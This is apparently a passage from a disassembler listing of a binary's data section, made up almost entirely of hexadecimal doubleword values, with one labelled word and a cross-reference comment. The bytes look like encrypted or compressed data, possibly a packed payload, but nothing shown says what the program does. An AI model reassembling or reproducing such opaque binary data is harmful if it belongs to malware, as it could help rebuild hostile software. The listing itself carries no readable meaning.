		dd 0DE3636EBh, 0EE396404h, 501B3316h, 21402829h, 13CD5818h
		dd 1B095701h, 95C08BC0h, 0D6B77Ch, 56D3ED06h, 3805EEAh
		dd 52FE8B24h, 5C08F307h, 0CAB59D72h, 0E6BE0826h, 0D81D106Ah
		dd 76375F27h, 95B2E880h, 1CD4885h, 0CAA0AA89h, 4B1FF780h
		dd 5DA334F3h, 15D95281h, 12278404h, 0DBF10113h,	0A8598D09h
		dd 75205AAFh, 45C49001h, 0BDD288A4h, 0ACC71F1Ah, 0BA043411h
		dd 77B0E5F6h, 0CE98B350h, 36AE344Ah, 9BA3687Bh,	31BB6802h
		dd 917ADA87h, 2F20605Ah
		dd 860F26D3h, 72814984h, 8961D8D2h, 751555C0h, 0BAE0856Dh
		dd 64F4BC8h, 0AB454959h, 8929942Fh, 55498A1Ch, 3760A66Dh
		dd 30ADCEAAh, 8CB8CD73h, 0D305815Eh, 39C4D7FAh,	0A8D96482h
		dd 508DCB5h, 8689061Eh,	331F4BC4h, 2570559Dh, 0A00EE195h
		dd 801F5D18h, 44CC283h,	0BB5BC4A3h, 0D8D5A3AFh,	0CE2031E4h
		dd 0BBB2506Bh, 5CC0CD9Ah, 0BA0F17Bh, 2971FE2Ch,	4E0AF9A4h
		dd 5D259ACAh, 0A58CECB5h, 44C9A28Bh, 0B8528625h, 0CB8105FEh
		dd 0F84971DCh, 5517325Fh, 7B5893F3h, 9B860027h,	0D945477Ch
		dd 851A31B1h, 0C17F26C1h, 0A052F97h, 0A5C5E138h, 0B9033575h
		dd 0D4FF3480h, 3CB690D5h, 66024903h, 4B1B7BFh, 892DFDCh
		dd 75969550h, 14A8DDFh,	41347DFDh, 415694Ah, 0A3038F44h
		dd 1D9D0FC1h, 0F07512EEh, 0B6FC9D68h, 2EFC0BD6h, 28989DECh
		dd 3E08ABCEh, 660B7EBh,	22295E5Bh, 7BEB0659h, 0E48084B9h
		dd 1541FA49h, 19870381h, 0F9BE8838h, 28C3A998h,	46427C31h
		dd 0E27E310Fh, 0A1550238h, 5D69447Bh, 5A4194F3h, 0BD725B58h
		dd 0D5020622h, 0E79F403Bh, 0D2740B0h, 595B812Eh, 62E161ABh
		dd 11A540E8h, 8A6F27D3h, 8AA3AF02h, 4B45205Eh, 0F41F7727h
		dd 2600387h, 0F5A95C11h, 240D9C89h, 0E08C4D7Dh,	8FE5BFB3h
		dd 6732E802h, 90E9137Ch, 4CDA2D96h, 0F524F599h,	8329151Dh
		dd 121D0224h, 0DA8EEF4Dh, 58C018C8h, 14B13F6h, 0ADCF8128h
		dd 307EA75Bh, 2B40397Ch, 0E6140BBBh, 0E1983DBFh, 287E5D7Ah
		dd 75B04026h, 0C290D88h, 922C65Fh, 0D4598526h, 251EA1ACh
		dd 0B92EE160h, 0E7DBE8DBh, 0EFE9460h, 0FFF2B4E9h, 8DBCE035h
		dd 0E270AD04h, 0FDC3B35Bh, 0C18BC92Dh, 5C80AE28h, 0CD8F7030h
		dd 2BA87600h, 4993E6B2h, 77A513CFh, 33C9AA83h, 0ACDEF92Bh
		dd 0DB6D26C9h, 77D0861h, 0B3FB8B0Fh, 0FDD9D50Bh, 4C1D298Bh
		dd 0C7831811h, 93F269C1h, 896FE8CCh, 0BF0330B2h, 5823DB3Bh
		dd 405F6248h, 0F3318031h, 0FAB717DEh, 0C249E885h, 9F54E2Fh
		dd 0C0830990h, 0EACD5505h, 0FA04526Fh, 90092B21h, 9C442E89h
		dd 937857F0h, 38FA1601h, 0EB316E73h, 3FA007C0h,	50094341h
		dd 47825F5Bh, 3163DF8Bh, 90FE8AC8h, 0D6EA7695h,	6CE794Ch
		dd 57C861E3h, 299D132Eh, 0D88FEA16h, 0EAC01A88h, 2763B42Ah
		dd 7B09A260h, 60C4CD7Dh, 0ED02CD63h, 0E6890F29h, 4229B589h
		dd 0CB53750Eh, 1C0A6D08h, 0A155678Dh, 28A19DC5h, 10D13199h
		dd 8B52DE41h, 8335016Eh, 4B7D850Fh, 0C440AA67h,	0E2585E32h
		dd 0B16E00F3h, 0A280B7D4h, 0F575B4E4h, 5FA4DB12h, 4BCFA400h
		dd 1B52026Ah, 5721B501h, 8A0F50F0h, 69E2DC97h, 64234757h
		dd 54206018h, 0E243129Ah, 0DD920E8h, 0B100B4F0h, 5A5BEBA2h
		dd 0CFD848h, 1162BFBAh,	0CDBD2B02h, 0B15FF5CBh,	0A92E3117h
		dd 0BF0F1F0Dh, 0D71E984h, 892FE2EAh, 5D862953h,	8760756Dh
		dd 2F2A4C9h, 0DD2CA821h, 67D053CBh, 0D6275497h,	9BA0E100h
		dd 3E42DFC6h, 28D7903Ch, 99FA993Ah, 0CBED80D5h,	44C8DD43h
		dd 6DE6E400h, 0B09C02C2h, 2A1B0FE2h, 0D21465FBh, 4C088711h
		dd 75E59CF8h, 0DB77A392h, 26495A53h, 1DAC20FEh,	0B67F0D41h
		dd 0D5F5C9DFh, 56A1F5C4h, 9608FEE1h, 0FF6AFE07h, 0E481DAB5h
		dd 0BD2F24D5h, 0B8E5BC36h, 4854BF0h, 511A957h, 0BCA002E9h
		dd 180BE0B0h, 1A10A59Dh, 564870E6h, 0CC027375h,	3C71E45Bh
		dd 0E8B46161h, 0C1938214h, 0B6342744h, 0F4BFACC8h, 37986024h
		dd 365AC619h, 0C396C92Ch, 0ED411461h, 0C313DD73h, 952904E8h
		dd 51021893h, 0F766F8B7h, 0DC0863E2h, 10C0F650h, 0A39068D6h
		dd 5501F504h, 0E480DBEAh, 138726B5h, 49BF124h, 0B389C81Ch
		dd 75D1255Dh
		db 0A0h, 5Eh
word_505446	dw 3039h		; DATA XREF: ___:off_4274D8o
		dd 611C2477h, 26909589h, 0DE95B09h, 0F70AF544h,	0D052B69Ch
		dd 170FB108h, 1D1E0A5Fh, 15CCB7A4h, 718881Bh, 0A2DFE0A1h
		dd 0A17D940Ch, 0E6955781h, 5B0AB3B5h, 11AAD03Bh, 0A1AC6211h
		dd 33E90225h, 3079B598h, 0C683D497h, 6F91DA01h,	6B04E113h
		dd 545E1884h, 0FE0115A5h, 0ACC6EEBBh, 5DECA017h, 2FE9FC37h
		dd 1FB58D00h, 0CB769723h, 0F11EC260h, 0D587054Dh, 0FFED9D33h
		dd 5F6AAAC2h, 20715653h, 5119006Eh, 32818529h, 459E5599h
		dd 0CA604CA0h, 0E6DFE6C9h, 873F010Ch, 997C7577h, 916152h
		dd 0BD9AC3D3h, 5DB96127h, 0CD7F9809h, 9F90603Bh, 8A039437h
		dd 85311799h, 0B1A34065h, 0DC7E95FCh, 19B72D6h,	0D1E415A2h
		dd 5BFC8EC7h, 8DACC09Eh, 9DB8D02Ch, 3AE00A74h, 58E6E9h
		dd 64C566DAh, 21041C97h, 9FC78FA0h, 0BA5BA71Ch,	55BDD727h
		dd 0C48F7100h, 12C18CBFh, 4EAE540h, 1109D7Eh, 0D1C233ADh
		dd 92D05696h, 0DB46F47Ch, 4D144A00h, 0C998CAECh, 1E8E7h
		dd 8D0D565Ch, 0A1F30B63h, 7C6E294Bh, 725B0300h,	8D89D22Fh
		dd 9C9749Dh, 4F7F880Dh,	819F4513h, 3D08D1A8h, 0A904D27Dh
		dd 0C9875D0Bh, 0D7A921A7h, 33C095CDh, 2623564h,	0BD89E99Fh
		dd 50011FA5h, 18C8C28Bh, 8C16F03h, 0C9B02A1Dh, 0D2845819h
		dd 0B92FE06Ah, 75049BD6h, 0BCE205A9h, 0BB708738h, 0FE0D3F1h
		dd 0B70761E0h, 8D293F87h, 448A2A29h, 30646Bh, 6D18A068h
		dd 28A29CB4h, 3444517h,	4EA1D306h, 0DF810E36h, 3F821913h
		dd 0E9D3E1FFh, 0E2601A70h, 6D8D2709h, 0BD293282h, 5698F7E4h
		dd 0A0058022h, 7C0DE082h, 0EABF12ACh, 8D3B1692h, 51941194h
		dd 19880F04h, 4073A6C2h, 901D0E98h, 8B92042h, 1207E922h
		dd 0EBF4DB56h, 0EC8136C4h, 0DA6D1875h, 26E444D2h, 0E7985604h
		dd 4AE34386h, 74D3FEBh,	0A9CE6E66h, 0C160BAB2h,	85BEC148h
		dd 0BFD98C92h, 0E3C203DAh, 0DB664898h, 843AB800h, 1DC17361h
		dd 40D502C4h, 375E4BA9h, 9ABA67D0h, 31E18024h, 43DEB709h
		dd 84C9EA12h, 0A7BE3281h, 0EC67A0FAh, 39F707A4h, 0F2DD9Dh
		dd 15FDBD09h, 0BFDE3895h, 3DD6B049h, 8D90337Ch,	22B54125h
		dd 827976AEh, 0C28B06A1h, 57509021h, 9482229h, 870E2C16h
		dd 7A40E906h, 0C2D25FDEh, 0DC3FDABBh, 0A1BE80C0h, 2CCB2C0Eh
		dd 15E051C0h, 21509F29h, 2F7896F1h, 5CB6D294h, 0AABECB00h
		dd 4E188C91h, 34BC5F61h, 0D020836Fh, 604AD48Eh,	0D07D03CDh
		dd 0E6DCD337h, 0B3BED861h, 4195BB40h, 0F40A7B6Ah, 0E7A9959Dh
		dd 4DA5255Bh, 0ED1D40D3h, 7D3A2298h, 49F0E20Ch,	29590920h
		dd 0E9BD0385h, 9D12E15Dh, 918A21E4h, 0ACDC3F4Dh, 0BFCFE80h
		dd 420743BAh, 0D598C63Ah, 50A1A890h, 5D57259Ah,	9B953AC6h
		dd 59DA2534h, 13595409h, 0BBFC8A80h, 4B6CC1CBh,	0F198C45h
		dd 89F8BF1Dh, 4954906Dh, 6FC812BEh, 23C6441h, 0CB5BBBD0h
		dd 8C61C987h, 1C4051ECh, 39C72880h, 44604B8h, 0BB819D09h
		dd 458C48A4h, 90B86C14h, 1B63A06Ch, 6D5F2D35h, 6DD54E89h
		dd 0C51264AAh, 2ADB0815h, 11E36112h, 5099204Fh,	8A00AEC5h
		dd 962D77Bh, 811DA1B5h,	0D450225Bh, 818A7A37h, 50CAA69Eh
		dd 7C340A89h, 0B3525110h, 0C25B7320h, 8938101Ch, 2769102Ch
		dd 89B75851h, 0FDF2F02h, 2A825188h, 0C02C9630h,	71E60CFh
		dd 0CEFEBE00h, 0DECD67B9h, 2EE60197h, 114D2336h, 28A013Bh
		dd 38D0B311h, 8F4326h, 4F99D278h, 0BC9DACC7h, 9AEC404Ch
		dd 2600ED6Bh, 274238Fh,	227E64Eh, 0F8AC148Bh, 0C0415EEEh
		dd 0AF45C65Fh, 0AC1FDF25h, 50AF81BFh, 1C1D0938h, 58D38D60h
		dd 0AB4FF07Dh, 0E114026Bh, 800F65E9h, 67807E48h, 0A7D7664Ch
		dd 0C035305h, 4B06EBBh,	351E9765h, 4656B09Eh, 0DCED001Bh
		dd 0B29BEC8Ch, 0CAC74A76h, 314E3447h, 54E03BE6h, 3F016361h
		dd 92CC8907h, 21A541E9h, 0D9000337h, 0A0DDAB43h, 0A9E92647h
		dd 0E3FE1215h, 6858AE5Ah, 0B8949922h, 82736509h, 5C76D860h
		dd 4185039h, 0CB4BF581h, 0BB1D0A34h, 0C6B0A2A6h, 710B9E64h
		dd 0EED9EA03h, 0CB7C9F72h, 8FA7007Eh, 0C669EC9Ah, 0F84BFD0Dh
		dd 6E2A498Dh, 0A657121Fh, 214ADCB3h, 0EC3D4DD3h, 0DB0EADE6h
		dd 402A4BA5h, 0BA60A861h, 564916E5h, 21EB042Ch,	5B921F0Fh
		dd 484C7FE3h, 1303910h,	0AE6CBF96h, 0EC647E83h,	56B7F4FBh
		dd 1AE28BEFh, 44CA630h,	9DDF8717h, 11E4AFD3h, 41E7936h
		dd 0F52A359Ch, 0D27FB982h, 3F802ADAh, 0B06C45C0h, 363A9200h
		dd 0A9BD2BD7h, 7F169719h, 54E03087h, 5C08C10h, 2C8571C8h
		dd 2B998C88h, 0B9994418h, 1BB6414h, 6687C846h, 73A3A928h
		dd 61A80020h, 0A481E06Fh, 0B22E002Ah, 0EB8B9C2Bh, 0DEE22DA2h
		dd 53A21997h, 301FD63h,	56E5F46Bh, 0A8302E5Fh, 9CDAB70Fh
		dd 4DD76928h, 0FE096274h, 17CD1840h, 0E8C21097h, 85F9880Ah
		dd 0B601E400h, 3E9505B3h, 209DB82Dh, 60C41839h,	99B92050h
		dd 236F2ED2h, 0B7BD001Ch, 0B11B5F73h, 0A7FA7F04h, 1CC1DA8Bh
		dd 742E0251h, 18AA2A2h,	63C294CFh, 8E85E196h, 202BD5B5h
		dd 198E0F89h, 0F4E0D4BCh, 22B9A3h, 0DE82EED4h, 39EB187Eh
		dd 4F986971h, 25A7E73Dh, 64816D5Bh, 0EF696115h,	0E3816E38h
		dd 0F85D2238h, 660961E1h, 73921112h, 181759C9h,	9A051496h
		dd 0D110E5EAh, 6050022Ch, 80E8FC8Ah, 1D651C3Fh,	16880180h
		dd 87E0C55Ah, 5B0D708Eh, 25F075E5h, 9488903h, 0A5BFD321h
		dd 0D40F4D64h, 0A2AF69F7h, 5C5BF81Fh, 0DC5969E1h, 0A6BF4A44h
		dd 0DD300007h, 57AEC827h, 92BD0011h, 0FE972645h, 0DC03D765h
		dd 0F27F799Eh, 0DA921396h, 0E64F5250h, 77DBE059h, 42F7569h
		dd 0E5973316h, 0FA4C0417h, 148876DBh, 980487C5h, 0C1B91F6Dh
		dd 94A2D2h, 0E408279Dh,	1DB339Ah, 5D5E71F3h, 0E985AF64h
		dd 6643596Ah, 898AB1A4h, 73297A90h, 0B31B514h, 0BCD64A49h
		dd 5FFE9FAAh, 0C4ABB593h, 0A299ACC8h, 0B8F82426h, 7E30D274h
		dd 0FCD495FBh, 55D0B7C3h, 242D0300h, 34B14E67h,	6AF204BFh
		dd 0D7C6362Ah, 0B8DB9458h, 0E3DAF472h, 0AA8DEED2h, 7BDBDA40h
		dd 38E9755Dh, 0FFCEFFF3h, 0B42EDB40h, 0B6A3BC7h, 4B5EB7F2h
		dd 0CD5BB0C1h, 0BF6950C1h, 6200EA22h, 0B44C9D8Eh, 0F68B30FDh
		dd 0BF5124Dh, 86BA20E9h, 870AFA7h, 0E94201A5h, 61E76860h
		dd 0CCC800FCh, 1C98ACB3h, 6B005D03h, 371150AFh,	0BA9CFBh
		dd 6F90480h, 783C59Dh, 5072E800h, 22263B54h, 0CF8900E6h
		dd 0C06F2DE9h, 0F023AB4h, 0C94F92C4h, 95F17DF1h, 8187FA5h
		dd 590F6FF2h, 200FEC72h, 0B234D86Eh, 27430390h,	65DF38E6h
		dd 7B8914B0h, 34ACF130h, 0C052DCE8h, 0C03B270Dh, 80F5AF5Eh
		dd 95673268h, 1F499C25h, 41F2D975h, 1799A7A8h, 6A328079h
		dd 600F58F4h, 15DA6054h, 0AB7AB3AFh, 3136E260h,	0F2951137h
		dd 74E306E5h, 2B51DBE9h, 0F33A2400h, 556FF00Fh,	332B0376h
		dd 53CABA11h, 0F18702CDh, 0CE40F377h, 0D6007274h, 0B4E4DDAh
		dd 6ADF435h, 1892BEABh,	6D004E8Ch, 0D77A51EDh, 0C9FB9B8h
		dd 45A680C0h, 4D61DC2Ch, 0E9DD6627h, 156E8h, 16E238ECh
		dd 0FF1B7502h, 9B122C00h, 970572FCh, 532A2A7Dh,	0FFB44AF0h
		dd 6640CD60h, 0BB472A85h, 239C00BEh, 0DA37335Fh, 95007D96h
		dd 8F5C62F6h, 646D3AF3h, 0BA694B01h, 41C3D2A7h,	5904B933h
		dd 0FBCD91CCh, 0A8C781C1h, 9F128EC4h, 2530C25Eh, 4B64A5B5h
		dd 714EAA66h, 0FE4923A2h
		dd 352DD045h, 78970013h, 5E0DDEF8h, 28001C43h, 84BA9EE1h
		dd 90C46327h, 518161FEh, 0F8A36AF4h, 750110C6h,	0B4D3DAF2h
		dd 0DA8CDFCAh, 0D7CDA872h, 174D4801h, 0CA852731h, 66F83C82h
		dd 0D97D23A7h, 0A9B58020h, 0CBC25C9Fh, 5BA2B400h, 4BA03C18h
		dd 5E6005F4h, 372E8Dh, 0FDF267FEh, 3BCF5DEFh, 3992A030h
		dd 0F9175EEh, 4A3E37DEh, 1062F987h, 0E938F189h,	534F7100h
		dd 0B3182234h, 0D3F5006Ch, 8EBEA5F8h, 7900DE3Dh, 0AF096447h
		dd 9028F3EBh, 54ED0121h, 1D3B3A70h, 20E4C881h, 0A588F214h
		dd 653C11FEh, 0AC9E28h,	4FED0134h, 53EFDA86h, 3C257803h
		dd 6832D3Bh, 4D5BF6FBh,	0D6000FA3h, 3B902C48h, 0F807FB70h
		dd 0E4607BFh, 81108C28h, 82C26C78h, 62ABB72Dh, 70D4464h
		dd 37094F4Ah, 4D4351D4h, 958650BCh, 0E4775F3Ah,	6C50C901h
		dd 931D2BB6h, 0BBE61F80h, 88019DA7h, 0D95065E4h, 12F119D7h
		dd 0E5A060C5h, 251F007Ah, 1796A803h, 3F013984h,	5BC2B219h
		dd 0EA604367h, 0E7E1FEFh, 0A2094022h, 8B25339Ch, 60FE69C0h
		dd 8D9BC4h, 8AC6D908h, 75C8233Fh, 80D5F33Ch, 37A086BEh
		dd 0C2129CA8h, 66FB6D5Eh, 140AD7A0h, 0CA310695h, 0F05F1D3Eh
		dd 0F8CCE4h, 7E340831h,	3844D3C6h, 0CB23B660h, 0C0E78957h
		dd 0AB849A0Fh, 71008DB7h, 3C1A5AB5h, 3BD090EFh,	3E933425h
		dd 0BE150073h, 6559026Dh, 21074100h, 8878F2E5h,	2C77156Bh
		dd 0AE258C11h, 1C3E94D5h, 0F398123Eh, 0D190ED70h, 0AD26A7FAh
		dd 7003578Bh, 0D55765h,	1AB6A821h, 0CCEA6AB1h, 0F5A0FF28h
		dd 932F1100h, 7B7CE538h, 2FC3606Dh, 0BF0CA8B6h,	7448CD00h
		dd 0D1B5AEFDh, 0BD9B00DDh, 0DFE17712h, 0BB06720Ch, 0D796D0C7h
		dd 4B4E38B0h, 84240340h, 790413CCh, 4CC80AB0h, 328102B2h
		dd 8486923Dh, 0D514D580h, 0B0603A46h, 5455C50Fh, 1E4900D1h
		dd 0B738DD83h, 0FE128D46h, 8309FC2h, 0C03BA648h, 8579F032h
		dd 730C80CFh, 1836D8E4h, 0D74B0694h, 956F48DBh,	3EA22E53h
		dd 55C03Ah, 3C6BE6C5h, 767349FDh, 1E8F2300h, 0AB674103h
		dd 3214024Ch, 8264F3D9h, 2AA08D8Fh, 36105056h, 173FA3Ch
		dd 995361EEh, 80E00F4Ch, 4D424C05h, 8D12524Ch, 0C84B5FDEh
		dd 0A900674Fh, 0D3381E56h, 483C1C21h, 9C44E48Ch, 797F8052h
		dd 712CBBA7h, 0D8D1F700h, 426EFD6Ah, 9F7C3FA8h,	3EE0DDBBh
		dd 577FA61Ah, 0D4F23B13h, 0E85CBEFh, 0D9BBC9F7h, 38204417h
		dd 0EF720611h, 192CDEEAh, 9D392100h, 0E203E34Eh, 703D00C3h
		dd 0DC73BAD6h, 5007EB0h, 50FF8ADBh, 485AA44h, 43DF6D3Bh
		dd 5471804Ah, 69014F09h, 73E7A2ADh, 66254049h, 3380FD49h
		dd 0E2B178E6h, 80235EEh, 0F9727ABCh, 0F5E0D705h, 122804A6h
		dd 0E10080A4h, 362E4945h, 0B490D3h, 5CAFCB57h, 0B6B54601h
		dd 71947600h, 0E8A38C5Eh, 0C3663F05h, 913E5A0Bh, 6E3D2F98h
		dd 0E200BE79h, 1A9EEED4h, 905483CDh, 6A75611Dh,	614647DBh
		dd 0A57160B5h, 560E6900h, 15B8E770h, 3253243Fh,	43D20515h
		dd 0EE0DB408h, 0A6FC6790h, 60DD0A00h, 801C0231h, 1EB148A7h
		dd 0EAF8DC12h, 0FBF47FCAh, 341CA6B3h, 0EFE6D324h, 9D10DE9Ah
		dd 8952CE6Ch, 9F6775E2h, 0D2CBABFh, 373A3B68h, 420018BCh
		dd 5A0E302Dh, 8116D2F7h, 0ABACA9E2h, 0C9EA1376h, 89F40272h
		dd 0F17D5AD7h, 4A5DE6F8h, 8F480854h, 0FF6F4578h, 0C483E3AEh
		dd 5F0F2504h, 828F98D5h, 38FB7EAAh, 8A00B82Fh, 0BE224B3Dh
		dd 0B5F239D3h, 20ABD44Bh, 5134FD90h, 0C400417Bh, 0E6D3393Ah
		dd 3A6F19AAh, 62009DBDh, 612A9244h, 4D3D327Eh, 1D0E8021h
		dd 190D01FDh, 510B161Bh, 2513A36Dh, 0C09B9060h,	6E0D1D71h
		dd 1646036Bh, 76F8AA58h, 700062ACh, 0BE6660E1h,	2F8B51D8h
		dd 8C87ADBDh, 0BF0F1061h, 1E9C90DAh, 0ABA09027h, 0EEF100A1h
		dd 0FF46B815h, 6F004236h, 0E09EBFBBh, 5E5B4CB3h, 38D0C990h
		dd 8E79002Bh, 0B7EBF02Ah, 6A5B38F7h, 0C780FC06h, 89130C38h
		dd 2EF1A59Dh, 0D6FECC84h, 0D4B6FF2Fh, 0BF5280E4h, 89B70983h
		dd 0E822F847h, 0E352E250h, 60EA073Fh, 89BF5156h, 6130CC2Bh
		dd 5740109Fh, 8C864B0Fh, 4E78CB5Fh, 0CD6A5F2Dh,	0BBC4E19Fh
		dd 3E64FF66h, 0A9FCD898h, 7B9AAFD3h, 0BAFC7FC0h, 0B7270F2Eh
		dd 8C5E6DFh, 11A59589h,	0C7271ACAh, 576D1AC5h, 0E9713D7Bh
		dd 48B95C0h, 0FF747E22h, 17DAC14h, 6A61F8FEh, 46AB302h
		dd 71ADDC6h, 0FB825650h, 0CDB8A95Bh, 0F9B1C0DBh, 0ECC576C9h
		dd 0CFBD28E1h, 218B29CFh, 0E913EC70h, 0B5F20FBCh, 0BD708C4h
		dd 0DC6D55FCh, 670FC160h, 0F1960033h, 0BD0BD675h, 0B0973071h
		dd 2EAB603Dh, 13F0B578h, 4EA0F3EEh, 0E0B6BEFh, 81801D2Eh
		dd 507DB3D2h, 0A397396Ch, 75920437h, 84B90529h,	17AEE4Bh
		dd 0FA1E5048h, 0B3D4C1D1h, 3E38AEA3h, 64315420h, 23C41343h
		dd 5ABAF65Bh, 896BAAh, 0EC3FC298h, 13429DDCh, 0F6962984h
		dd 10884ADFh, 0D4BA0062h, 0CBE2C026h, 0C112196Eh, 500B64Bh
		dd 0A9CC2E1Ch, 0F6989F1Fh, 8D2F8953h, 0EB720A2Dh, 0CE9BDF3Fh
		dd 4FE1A680h, 160FAF1Fh, 569EE607h, 3FC099AEh, 12192104h
		dd 99B50B12h, 77E3AC2h,	604517C4h, 9D0EC18Bh, 610F3431h
		dd 3AC4B070h, 0E6042CE1h, 0E4A18170h, 0F64F3071h, 391FFE12h
		dd 0D798605h, 25FEF2AAh, 0F79DE4EBh, 31BD2B10h,	1F890C5Ah
		dd 5ED9F920h, 4130CCBAh, 0C1B51765h, 40003EB2h,	0CCC67673h
		dd 4C50F741h, 5C006ECDh, 23857E15h, 0EF03AA6Ah,	302C136Ah
		dd 96650747h, 526FC300h, 45D513C8h, 0FFEF052Fh,	0A8CDEE79h
		dd 4A144838h, 74B3B6A4h, 81C85BEBh, 0FD684F9Ch,	0A5882BD1h
		dd 3B830F11h, 1BC13D26h, 0FDEAA441h, 861FA073h,	8B98229Fh
		dd 54AC485h, 7CE8E6BFh,	4117A86Fh, 910AA0D1h, 81038022h
		dd 506AF988h, 517B7E11h, 60301184h, 3BE93012h, 819D2911h
		dd 8D710963h, 0BE0351FFh, 2F11A701h, 1E16626Ah,	7ED38021h
		dd 0EA610B65h, 3FE1D00h, 1A5D5B9Dh, 6209D01Eh, 0AB051CFBh
		dd 80FD2F52h, 0D3006BBCh, 8A9059D4h, 0C237452Dh, 49BD3348h
		dd 0D3D5374Ah, 181B51EBh, 0F6CF07C4h, 0D349D7C8h, 0ADA880CBh
		dd 105E71B9h, 0CE426D60h, 0FA981315h, 556002Ah,	0CB67D726h
		dd 0B2C23D02h, 60D0D137h, 2889C7DEh, 2DD0D868h,	0F2CDFCE1h
		dd 0F7D080C9h, 1831BA3Bh, 0E633599Dh, 851301FCh, 0B4E71839h
		dd 0C5000F22h, 84E8A1D0h, 0F279B9Fh, 0CB144866h, 2B1F1E21h
		dd 0B94479D2h, 354E60EEh, 717D821Bh, 0F0C72730h, 0BE35FDA5h
		dd 2CACA887h, 5FAD8E9h,	0B5296053h, 0F57AE099h,	6D5B612Fh
		dd 11ADC70Ch, 96B1BE90h, 2A2FA5Ch, 0D9BC3D4Dh, 393E8900h
		dd 58EDDDC6h, 90567C0Bh, 0F9C995A9h, 8A9D2A5Bh,	310216D9h
		dd 9FE3D27Dh, 13FE15BAh, 89200D4h, 6F312A69h, 0F500AD30h
		dd 5F43B351h, 2D0987BBh, 1B45543Ah, 0EC4D7F69h,	0FC6EF262h
		dd 0A7F6DC69h, 0FBBB660Bh, 444F514Fh, 62F0536Fh, 79E78325h
		dd 5124A6D2h, 0BB65815Fh, 4B055981h, 6F2A356Ah,	0A1530042h
		dd 0F608409h, 5838A88Dh, 24D20F81h, 61A235D6h, 0BB53E1FFh
		dd 16494870h, 0A2F838E6h, 0FCC69A37h, 601F46Ah,	437F9054h
		dd 9B628F0Fh, 0FD852905h, 0E12AA82Eh, 0D7C204F3h, 6D706053h
		dd 39FD021Fh, 0E9F7543Bh, 0F1289FEh, 86B03ABCh,	6FAD0487h
		dd 0D50A60EFh, 4F0B56F6h, 140BAA9Dh, 70165B60h,	0BD1623F1h
		dd 74A61129h, 0E93117A2h
		dd 0C45222CCh, 130825FCh, 0B93A61F1h, 403ACFAh,	0F9FF6F86h
		dd 11BCC11Fh, 82FD041Ch, 0BF668870h, 0E65ED027h, 0A55C9D20h
		dd 73101D6h, 61A6991Bh,	0F056F7Dh, 7EA8D211h, 29B509C2h
		dd 504A4F50h, 51277CF3h, 9C5045C2h, 0C93797h, 0B67C5C87h
		dd 950B8040h, 0F08A5D0Bh, 0E0CA8D0Dh, 85388CE8h, 0C4AE290h
		dd 2C203629h, 68294005h, 53CBDA0Bh, 813C202Eh, 3D252434h
		dd 0F64A4CC8h, 0CE0E041h, 324509E6h, 16401342h,	1B9F729Fh
		dd 0D71609D6h, 8B7E60A1h, 15528BC7h, 0E3128030h, 19610D57h
		dd 0CB0221E9h, 3FE271BFh, 25A95025h, 7C0059B8h,	305FA29Dh
		dd 1D9BBBDh, 0DA1EF381h, 0C2C7554Bh, 7552B3F6h,	72074859h
		dd 0B2202EDEh, 6C2DFBh,	0BCA463D8h, 0F9F78186h,	781A9E16h
		dd 0DB5E92A2h, 940BD356h, 0A7A951DEh, 8035B5D7h, 8918F5C8h
		dd 0A4B59B5h, 9D08E0F2h, 5C522D81h, 0D000DC4Ch,	61D1D69Bh
		dd 27A053B6h, 0A17F17DDh, 684C1186h, 16BA44F4h,	0A13E8CA6h
		dd 0A5FD2FE6h, 3C2430ACh, 0C9289523h, 28AB854Eh, 0D900E1FCh
		dd 3B3AC915h, 0BB6C89Fh, 5E2F8E64h, 0FB018362h,	6A475C57h
		dd 5FF5E032h, 6380F096h, 0D60F4AB0h, 644C91E2h,	4CC5BF89h
		dd 828887ACh, 0E2EB5F44h, 0ABCF050Ah, 9D80DB69h, 0FE9CD0h
		dd 9B4FBD1Ch, 941D11B7h, 33FBD804h, 24EAADB3h, 5748101h
		dd 0A487E351h, 3F1689FAh, 79803226h, 0B3980075h, 1BD07FA7h
		dd 0EB01BDE0h, 0C9FB1E6Ch, 3CA75890h, 9ABFE7E2h, 1FEE1B00h
		dd 2142E74h, 2952B8C1h,	0A458698Dh, 0E7B2504Ah,	3C863E00h
		dd 652915B9h, 0DA2A9800h, 6CB4FD50h, 87393B31h,	2C5721CFh
		dd 5BC16FC4h, 43695B18h, 0E09CA64Ah, 266F2FC5h,	0C938F58Eh
		dd 5615082h, 8FB6960Eh,	0E8E7E4E0h, 930F44h, 0C2367F9Dh
		dd 7BF05BDh, 94F20901h,	0FC17DBC7h, 0D4D9E242h,	417C7AEFh
		dd 833693D4h, 1FA19589h, 45D9DD2Dh, 0A94F132Bh,	0D94EC5Bh
		dd 47E96BF1h, 0A3E73747h, 0B90EF8CEh, 9CBB0527h, 832195C8h
		dd 0BD4B1140h, 4FBA51F3h, 9763FAEh, 98C5D069h, 0F26B348h
		dd 0EB28E8A5h, 1ED3D560h, 1626D990h, 2D09C4F9h,	0F49B7E06h
		dd 8910EF28h, 0A8132D01h, 0D88BCA3Eh, 0A945286Bh, 7074D38Ah
		dd 3691E7C5h, 9F557F66h, 0BB1F2A37h, 791A0A24h,	5562D4A9h
		dd 54135900h, 2D7386CFh, 6165FF7Ch, 981C1350h, 802AE222h
		dd 0A9B58D89h, 0C4E8DD4Ah, 0EB00CA71h, 99C772C3h, 2D0210AAh
		dd 0DB468BD2h, 0DFA6F84Eh, 0A33015B2h, 0F9617A0h, 0BB8AD087h
		dd 0E40E46F6h, 24605019h, 0E4EBEC8Ah, 0EF0084C3h, 0B716DFBAh
		dd 0FFF222h, 0FB213702h, 0F18B6159h, 1ABD96E6h,	0F0C23250h
		dd 0B53EB215h, 0D977703Ah, 3936F8DCh, 26EA8E17h, 0ABDFE50Ah
		dd 5B081D0Bh, 230BAF6Fh, 2751C08Bh, 12BB7A7h, 0C0BDDFE7h
		dd 4E4873D3h, 449941EEh, 6B0858D4h, 0BE8F4917h,	0ABC21588h
		dd 3A33F949h, 0BCDA8E81h, 6B06167Ch, 0EAFD6F75h, 342802A8h
		dd 4197CDC8h, 0CD0524EBh, 11C830EEh, 7EC90A5Ah,	0FCF02726h
		dd 0F203F669h, 0EE57C56Bh, 0D15A10E3h, 10532D07h, 1CDE30BCh
		dd 80029D1Ch, 0A2D60AD8h, 0DD0BE2EAh, 615FBED1h, 0C83A26B5h
		dd 852F096Ch, 51040B3Dh, 0FD8A5B4h, 16660140h, 0B3B4C4BBh
		dd 6BFB4E92h, 8B301364h, 9A8C6F85h, 51DB0039h, 0B6EAFEC2h
		dd 840086D6h, 0F397C1ADh, 49FDF98Dh, 0B78E8163h, 0D5D79278h
